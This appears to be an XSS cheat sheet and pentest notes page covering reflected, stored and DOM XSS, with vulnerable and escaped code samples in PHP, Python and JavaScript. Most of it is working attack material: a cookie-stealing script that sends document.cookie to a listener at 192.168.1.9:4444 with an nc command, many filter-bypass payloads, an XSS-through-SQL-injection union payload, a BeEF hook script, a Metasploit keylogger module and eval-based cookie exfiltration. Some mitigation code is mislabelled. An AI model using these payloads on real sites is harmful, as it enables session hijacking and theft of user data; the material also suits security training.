Cross Site Scripting (XSS)

Reflected XSS Stored XSS DOM XSS self XSS

Mechanism

Cross-site scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users

What Is Vulnerability?

Cross-site scripting (XSS) is a type of security vulnerability typically found in web applications. It allows attackers to inject malicious scripts into content from otherwise trusted websites. These scripts can then be executed in the context of the user's browser, leading to various potential attacks including data theft, session hijacking, and defacement of websites.

Types

Types of XSS Attacks

1. Stored XSS

2. Blind XSS

3. Reflected XSS

4. DOM XSS

5. Self XSS

How Does It Happen?

Reflected XSS

The malicious script is reflected off a web server, such as in an error message or a search result, and executed immediately as part of the response.

PHP

php
<?php
if (isset($_GET['qq'])){
    $qq = $_GET['qq'];
    echo'Result Found '.$qq;
}
?>
<cneter>
    <form action="" method="get">
        <label aria-hidden="true">Search Anything</label>
        <input type="text" name="qq" id="qq">
        <input type="submit" value="Search">
    </form>
</cneter>

Python

from flask import Flask, request, escape

app = Flask(__name__)

@app.route("/", methods=["GET"])
def search():
    qq = request.args.get("qq")
    result = f"Result Found {escape(qq)}" if qq else ""
    form_html = '''
    <center>
        <form action="" method="get">
            <label aria-hidden="true">Search Anything</label>
            <input type="text" name="qq" id="qq">
            <input type="submit" value="Search">
        </form>
        <div>{}</div>
    </center>
    '''.format(result)
    return form_html

if __name__ == "__main__":
    app.run(debug=True)

javaScript

const express = require('express');
const app = express();
const port = 3000;

app.get('/', (req, res) => {
    const qq = req.query.qq;
    const result = qq ? `Result Found ${qq}` : '';
    const formHtml = `
    <center>
        <form action="" method="get">
            <label aria-hidden="true">Search Anything</label>
            <input type="text" name="qq" id="qq">
            <input type="submit" value="Search">
        </form>
        <div>${result}</div>
    </center>
    `;
    res.send(formHtml);
});

app.listen(port, () => {
    console.log(`App listening at http://localhost:${port}`);
});

I will try use some tags to test rxss '"><h1>Hacked</h1>

the best '"><h1>Hacked</h1>{7*7}}JyI+PGgxPmhhY2tlZDwvaDE+

Ok this search Vulnerable HTML injection && RXSS

Simple JS payload

<script>alert('OSCP+EWAPTXv2')</script>

Stored XSS

<?php
if(isset($_POST["c"])) {
    $c = $_POST['c'];
    echo 'your commit is '.$c.' Thanks';
}
?>
<cneter>
    <form action="" method="post">
        <label aria-hidden="true">Write Commint</label>
        <input type="text" name="c" id="c">
         <input type="submit" value="Submit">
    </form>
</cneter>

Mitiegstion Code

Use htmlentities() Function => PHP

use escape() Function = PYTHON

use escapeHtml() Function = JS

PHP

from flask import Flask, request, escape

app = Flask(__name__)

@app.route("/", methods=["GET"])
def search():
    # Get the user input from the query parameters
    qq = request.args.get("qq")
    
    # Escape the user input to prevent XSS
    result = f"Result Found {escape(qq)}" if qq else ""
    
    # Create the HTML form with the result safely included
    form_html = '''
    <center>
        <form action="" method="get">
            <label aria-hidden="true">Search Anything</label>
            <input type="text" name="qq" id="qq">
            <input type="submit" value="Search">
        </form>
        <div>{}</div>
    </center>
    '''.format(result)
    
    return form_html

if __name__ == "__main__":
    app.run(debug=True)

Python

message = "hello world"
print(message)

JavaScript

const express = require('express');
const app = express();
const port = 3000;

// Function to escape HTML entities
function escapeHtml(unsafe) {
    return unsafe
         .replace(/&/g, "&")
         .replace(/</g, "&lt;")
         .replace(/>/g, "&gt;")
         .replace(/"/g, "&quot;")
         .replace(/'/g, "&#039;");
}

app.get('/', (req, res) => {
    const qq = req.query.qq;
    const result = qq ? `Result Found ${escapeHtml(qq)}` : '';
    const formHtml = `
    <center>
        <form action="" method="get">
            <label aria-hidden="true">Search Anything</label>
            <input type="text" name="qq" id="qq">
            <input type="submit" value="Search">
        </form>
        <div>${result}</div>
    </center>
    `;
    res.send(formHtml);
});

app.listen(port, () => {
    console.log(`App listening at http://localhost:${port}`);
});

Case 2 Mitigation

$string = $_GET['search'] ;


$regex = "/{|}|src|confirm|prompt|write|<|>|alert|print/" ;

?>
<script>
    
    window.test = {
        site: "Night",
    page: {
        name : "<?php echo  preg_replace( $regex, '' ,$string) ?>" ;    
    }
}    

</script>

<center>
<form method="GET" >    
<label aria-hidden="true">Search For Anything</label>
    <input type="text" placeholder="Enter Something" name="search" >
    <button type="submit">Send</button>
</form>    

</center>

Additional Security Measures

1. Content Security Policy (CSP)

   header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
    

How To PenTest?

in website

<script>new Image().src="http://192.168.1.9:4444/bogus.php?output="+escape(document.cookie);</script>

in your Attcker Machine

nc -nvlp 4444

How to Bypass Protection

• Without event handlers

<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>

• Without space

<svg/onload=confirm()>
<iframe/src=javascript:alert(1)>

• Without slash (/)

<svg onload=confirm()>
<img src=x onerror=confirm()>

• Without equal sign (=)

<script>confirm()</script>

• Background image manipulation:

<body background="javascript:alert('Successful XSS')">

<div style="background-image:url(javascript:alert('Successful XSS'))">

<input type="image" src="javascript:alert('Successful XSS')">

<meta http-equiv="refresh" content="0;url=data:text/html
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<head><meta http-equiv="content-type" content="text/html; charset=utf-7"></head>+adwscript+ad4-alert('xss');+adw-/script+ad4-

• eval

<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">

• Without closing the angular bracket (>)

<svg onload=confirm()//

Ex :

<? php
$test = "/>|<|'|\"/" ;

$string = $_GET['search'];

echo "<h1>" ;
echo (preg_match($test , $string)) ? "XSS Detected" : $string ; 
echo "</h1>" ;
?>

OR

<svg onload=console.log()//

<?php
$test = "/src|alert|confirm|prompt|write/";

$string = $_GET['search'];

echo "<h1>" ;
echo (preg_match($test , $string)) ? "XSS Detected": $string ; 
echo "</h1>" ;
?>

• Without alert, confirm, prompt

<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>

• Without a Valid HTML tag

<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it

• Bypass tag blacklisting

</ScRipT>
</script
</script/>
</script x>

HTML	Char	Numeric	Description	Hex	CSS (ISO)	JS (Octal)	URL
"	"	"	quotation mark	u+0022	\0022	\42	%22
#	#	#	number sign	u+0023	\0023	\43	%23
$	$	$	dollar sign	u+0024	\0024	\44	%24
%	%	%	percent sign	u+0025	\0025	\45	%25
&	&	&	ampersand	u+0026	\0026	\46	%26
'	'	'	apostrophe	u+0027	\0027	\47	%27
(	(	(	left parenthesis	u+0028	\0028	\50	%28
)	)	)	right parenthesis	u+0029	\0029	\51	%29
*	*	*	asterisk	u+002A	\002a	\52	%2A
+	+	+	plus sign	u+002B	\002b	\53	%2B
,	,	,	comma	u+002C	\002c	\54	%2C
−	-	-	hyphen-minus	u+002D	\002d	\55	%2D
.	.	.	full stop; period	u+002E	\002e	\56	%2E
/	/	/	solidus; slash	u+002F	\002f	\57	%2F
:	:	:	colon	u+003A	\003a	\72	%3A
;	;	&#59;	semicolon	u+003B	\003b	\73	%3B
&lt;	<	&#60;	less-than	u+003C	\003c	\74	%3C
&equals;	=	&#61;	equals	u+003D	\003d	\75	%3D
&gt;	>	&#62;	greater-than sign	u+003E	\003e	\76	%3E
&quest;	?	&#63;	question mark	u+003F	\003f	\77	%3F
&commat;	@	&#64;	at sign; commercial at	u+0040	\0040	\100	%40
&lsqb;	[	&#91;	left square bracket	u+005B	\005b	\133	%5B
&bsol;	\	&#92;	backslash	u+005C	\005c	\134	%5C
&rsqb;	]	&#93;	right square bracket	u+005D	\005d	\135	%5D
&Hat;	^	&#94;	circumflex accent	u+005E	\005e	\136	%5E
&lowbar;	_	&#95;	low line	u+005F	\005f	\137	%5F
&grave;	`	&#96;	grave accent	u+0060	\0060	\u0060	%60
&lcub;	{	&#123;	left curly bracket	u+007b	\007b	\173	%7b
&verbar;	|	&#124;	vertical bar	u+007c	\007c	\174	%7c
&rcub;	}	&#125;	right curly bracket	u+007d	\007d	\175	%7d

Tips & Tricks

• http(s):// can be shortened to // or /\\ or \\.

• document.cookie can be shortened to cookie. It applies to other DOM objects as well.

• alert and other pop-up functions don't need a value, so stop doing alert('XSS') and start doing alert()

• You can use // to close a tag instead of >.

• I have found that confirm is the least detected pop-up function so stop using alert.

• Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use <script src=//14.rs> instead of <script src="//14.rs">

• The shortest HTML context XSS payload is <script src=//14.rs> (19 chars)

Escalating the Attack

XSS to SQL Injection (XSSQLi)

XSS Injection with SQLi (XSSQLi) Well After our discussion on different types of injection and places you can find SQL injection Vulnerability, an attacker can successfully exploit an SQL injection vulnerability and get access to the database and if he is lucky enough to get access to the File System also by uploading shell

IN DVWA DEMO

http://192.168.2.5/dvwa/vulnerabilities/sqli/?id=1

i will use OR 6=6# to test

Ok i will Try Use union Attack

1' union select 1,2#

Ok Try again UNION Attack to make XSSSQi

<svg src=x onload=alert(/H3ckt00r/)>

Make Encoded to HEX && ad 0x in begin payload

0x3c737667207372633d78206f6e6c6f61643d616c657274282f4833636b743030722f293e53

1' UNION SELECT 1,0x3c737667207372633d78206f6e6c6f61643d616c657274282f4833636b743030722f293e53#

B0000000000M!!

BEEF-XSS

                                     .O,       
                                     lkOl                             
                                     od cOc                           
                                     'X,  cOo.                        
                                      cX,   ,dkc.                     
                                       ;Kd.    ,odo,.                 
                                        .dXl   .  .:xkl'              
                                          'OKc  .;c'  ,oOk:           
                                            ,kKo. .cOkc. .lOk:.       
                                              .dXx.  :KWKo. 'dXd.     
                                                .oXx.  cXWW0c..dXd.   
                                                  oW0   .OWWWNd.'KK.  
                                          ....,;lkNWx     KWWWWX:'XK. 
 ,o:,                          .,:odkO00XNK0Okxdlc,.     .KWWWWWWddWd 
  K::Ol                   .:d0NXK0OkxdoxO'             .lXWWWWWWWWKW0 
  od  d0.              .l0NKOxdooooooox0.        .,cdOXWWWWWWWWWWWWWx 
  :O   ;K;           ;kN0kooooooooooooK:  .':ok0NWWWWWWWWWWWWWWWWWWK. 
  'X    .Kl        ;KNOdooooooooooooooXkkXWWWWWWWWWWWWWWWWWWWWWWWNd.  
  .N. o. .Kl     'OW0doooooooooooooodkXWWWWWWWWWWWWWWWWWWWWWWWW0l.    
   0l oK' .kO:';kNNkoooooooooooook0XWWWWWWWWWWWWWWWWWWWWWWWKx:.       
   lX.,WN:  .:c:xWkoooooooooood0NWW0OWWWWWWWWWWWWWWWWWWWKo.           
    0O.0WWk'   .XKoooooooooooONWWNo  dWWWWWWWWWWWWWWWWWl              
     oKkNWWWX00NWXdooooooooxXWWNk'   dWWWWWWWWWWWWWWWWX               
      .cONWWWWWWWWOoooooooONWWK:...c0WWWWWWWWWWWWWWWWWW:              
         .;oONWWWWxooooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.             
              'XW0oooookNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWd             
              oW0ooooo0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWO             
             ;NXdooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWx             
          ;xkOOdooooxOO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.             
         .NOoddxkkkkxxdoookKWWWWWWWWWWWWWWWWWWWWWWWWWWX'              
          :KNWWWWWWWWWWX0xooONWWWWWWWWWWWWWWWWWWWWWWWk.               
         .xNXxKWWWWWWWOXWWXxoKWWWWWWWWWWWWWWWWWWWWNk'                 
         OWl cNWWWWWWWk oNWNxKWWWWWWWWWWWWWWWWWNOl.                   
        ,Wk  xWWWWWWWWdxWWNWWWWWWWWWWWWXOdc,.                       
        .N0   lOXNX0x;  .KWWWWWWWWWWWNkc.                             
         :NO,         'lXWWWWWWWWWNk:.                                
          .dXN0OkxkO0NWWWWWWWWWWKl.                                   
             .';o0WWWWWWWWWWWNk;                                      
                  .cxOKXKKOd;.                                        
                                    

<script src="http://192.168.1.9:3000/hook.js"></script>

WriteUP

XSS - Keyloger

use auxiliary/server/capture/http_javascript_keylogger
run

XSS Session Hijacking

Stored XSS + Session Hijacking

Weak Session IDs Source

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?> 

in the code if last_session exist make last_session = 0

XSS Bypass Sanitization

<!DOCTYPE html>
<html>
    <body>
        <?php
            function sanitise_username($username) {
                return strtr(
                    htmlentities ($username, ENT_QUOTES),
                    [';' => '']
                );
            }
        ?>
        <a href="#!" onclick="javascript:myFunction('/profile/<?php echo sanitise_username($_GET["user"]) ?>')">Profile</a>
    
        <script>
            function myFunction(url) {
                // do something
                location.href=url
            }
        </script>
    </body>
</html>

')-alert('a

Exploit using Arithmetic Operators

 /?user=')|eval('onload=a'.concat('lert(document.cookie)'))//

http://192.168.1.3/web/vulnapp.php%20/?user=%27)|eval(%27onload=a%27.concat(%27lert(document.cookie)%27))//#!

 /?user='),alert?.('document.cookie//

Which sinks can lead to DOM-XSS vulnerabilities?

The following are some of the main sinks that can lead to DOM-XSS vulnerabilities:

document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

he following jQuery functions are also sinks that can lead to DOM-XSS vulnerabilities:

add()
after()
append()
animate()insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()